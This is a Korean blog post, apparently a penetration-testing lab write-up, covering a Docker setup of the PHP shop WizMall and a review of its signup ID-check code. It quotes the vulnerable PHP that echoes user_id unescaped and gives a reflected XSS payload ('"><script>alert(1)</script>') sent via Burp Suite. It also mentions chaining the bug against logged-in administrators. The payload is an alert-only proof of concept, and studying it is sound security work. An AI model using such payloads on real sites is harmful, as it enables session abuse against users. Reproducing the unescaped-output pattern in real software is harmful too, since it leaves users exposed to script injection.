0. wizmall 환경 설정
WizMall은 오래된 PHP 기반 솔루션으로 버그 바운티나 모의해킹 실습용으로 아주 좋은 소재이다.
wizmall 환경을 설정해보자
github에서 도커 파일을 다운로드 받는다.
GitHub - boldagihororok/wizmall-docker
Contribute to boldagihororok/wizmall-docker development by creating an account on GitHub.
github.com
wizmall(위즈몰)을 도커 컨테이너로 실행해보자
docker-compose up -d

이제 localhost:80으로 들어가면 아래 사이트가 나오고 확인을 누른다.

확인을 누른후에 깃허브에서 본 것처럼 설정에 값을 넣는다.

MYSQL호스트 : db
사용DB이름 : wizmall
DB 아이디 : wizmall
DB 패스워드 : wizmall
Admin ID : admin
패스워드등록 : admin
패스워드확인 : admin
상호명 : wizmall
홈페이지명 : wizmall
관리자이메일 : admin@admin.com
WizMall 절대경로 : /

상호명도 마찬가지로 넣어주자

설정이 완료된다.

admin으로 로그인하면 아래 화면이 나온다.

1. wizmall 탐방

위즈몰의 소스코드는 아래 깃허브에서 참고할 수 있다.
https://github.com/wangta69/wizmall
GitHub - wangta69/wizmall: e-commercial open source for php
e-commercial open source for php. Contribute to wangta69/wizmall development by creating an account on GitHub.
github.com
깃허브 Readme를 보면 각종 링크 설명 부분에서 wizmember.php에서 get메소드로 query string을 사용해 받은 변수를 사용해서 라우팅하는 것으로 보인다, 이건 쿼리에 변수에 따라서 필요한 링크를 include해 화면에 랜더링하는 것으로 추측할 수 있다.

wizmember.php코드를 보면 query 값으로 알맞는 php코드를 include하는 것을 알 수 있다.
if ($cfg["member"] && $cfg["member"]["mgrade"] != "1") {
if ($query == 'point') {
include ($mem_skin_path."/USER_POINT.php");
$status = $query;
}
else if ($query == 'order') {
include ($mem_skin_path."/USER_ORDER.php");
$status = $query;
}
else if ($query == 'infopass') {//회원정보수정시 먼저 패스워드 한번더 확인
include ($mem_skin_path."/USER_INFO_PASS.php");
$status = $query;
}
...
이제 기능 하나씩 점검해보자
2. 회원가입 점검
2-1 /wizmember.php?query=regis_step1
wizmall 메인 화면에서 오른쪽 가운데에 회원가입을 누른 엔드 포인트이다.

회원 가입을 누르면 체크박스와 실명확인, 아이핀, 인증없이 가입이 나온다.

해당 기능은 js코드로 switch문으로 구성되었다.

스탭 2로 넘어가보자
2-2 /wizmember.php?query=regis_step2
회원가입에 필요한 입력창이 나온다

중복 검색을 눌러보자 localhost/wizmember/IPIN/ID_EXIST.php?id=엔드포인트이다.

깃허브에서 해당 코드를 찾으면 아래와 같다. 유저의 id를 sql문에 그대로 넣는 것을 알 수 있다.
$dbcon = new database($cfg["sql"]);
$sqlstr = "SELECT count(uid) FROM wizMembers WHERE mid='$user_id'";
$result = $dbcon->get_one($sqlstr);
if(!$user_id) {
$message = "id를 입력해 주세요";
$status = "false";
}else if((strlen($user_id) > 12) || (strlen($user_id) < 6)) {
$message = "아이디는 6~12자 사이의 영문숫자 혼합으로 구성되어야 합니다.";
$status = "false";
}else if ( $result ) {
$message = "<span class='orange'>".$user_id."</span>은(는) 이미 사용중인 아이디입니다.";
$status = "false";
}
else {
$message = "<span class='orange'>".$user_id."</span>은(는) 사용가능한 ID입니다.";
$status = "true";
}
$dbcon->_close();
하지만 include한 cfg.common.php이 addslashes를 적용하고 있어 필터링 된다.
if( !get_magic_quotes_gpc() ){//magic_quotes_gpc 값이 FALSE 인 경우 addslashes() 적용
if( is_array($_GET) )
{
while( list($k, $v) = each($_GET) )
{
if( is_array($_GET[$k]) )
{
while( list($k2, $v2) = each($_GET[$k]) )
{
$_GET[$k][$k2] = addslashes($v2);
}
@reset($_GET[$k]);
}
else
{
$_GET[$k] = addslashes($v);
}
}
@reset($_GET);
}

SQLI는 안될 거 같다. 하지만 여기서 xxs 가능할 것 같다. 코드를 봐보자
<form name="s_form" id="s_form">
<input type="hidden" name="action" value="user_idcheck">
<div class="agn_l b white b_black">아이디 체크</div>
<div class="space15"></div>
아이디는 영/숫자 혼합으로 6~15자가 가능합니다.
<div class="space15"></div>
아이디
<input type="text" name="user_id" id="user_id" value="<?=$user_id?>" size=15>
<? if($status == "true") : ?>
<span class="button bull"><a href="javascript:setting('<?=$user_id?>')">적용</a></span>
<? endif; ?>
<span class="button bull" id="btn_search"><a>검색</a></span>
<div class="space15"></div>
<div class="msg">
<?=$message?>
</div>
</form>
form으로 id값을 보낸다 그리고 get요청을 보내면 위에 데이터 베이스 쿼리문에서 userid에 따른 message값과 status값을 반환하게 된다. 만약 id값이 12가 넘더라도 status와 message값은 false와 6~12자만 가능합니다가 뜨겠지만
<input type="text" name="user_id" id="user_id" value="<?=$user_id?>" size=15>부분에 user_id값이 들어가게 된다.
따라서 userid를 변경한 패킷인
GET /wizmember/IPIN/ID_EXISTS.php?action=user_idcheck&user_id="><script>alert(1)</script>로 버프스위트에서 보내면 html이 아래처럼 바뀌어
<input type="text" name="user_id" id="user_id" value=""><script>alert(1)</script>" size=15> xss가 성공한다.

이번 편에서는 WizMall 회원가입 ID 중복확인 기능에서 `user_id` 파라미터가 출력 구간에서 적절히 이스케이프되지 않아 발생하는 Reflected XSS를 확인했다.
단순 PoC(alert) 수준에서는 영향이 작아 보일 수 있지만, 해당 취약점은 공격자가 조작한 링크를 피해자에게 클릭시키는 방식으로 재현 가능하다는 점에서 의미가 있다.
특히 동일 도메인 내 로그인 사용자(또는 관리자)를 대상으로 한 클릭 유도 시나리오와 결합되면, 세션 컨텍스트 악용·민감 기능 요청 유도 등 더 큰 공격으로 연계될 가능성이 있다.
'Security > 웹' 카테고리의 다른 글
| Redis 취약점과 안전한 사용 방법 (0) | 2026.05.07 |
|---|---|
| 모의해킹 방법론 OWASP WSTG (0) | 2026.04.21 |
| 취약점 점검 후기 (0) | 2026.04.02 |
| [web] NoSQL 인젝션(Injection) (0) | 2026.03.01 |
| [web] SSTI 알아보기 (0) | 2026.02.15 |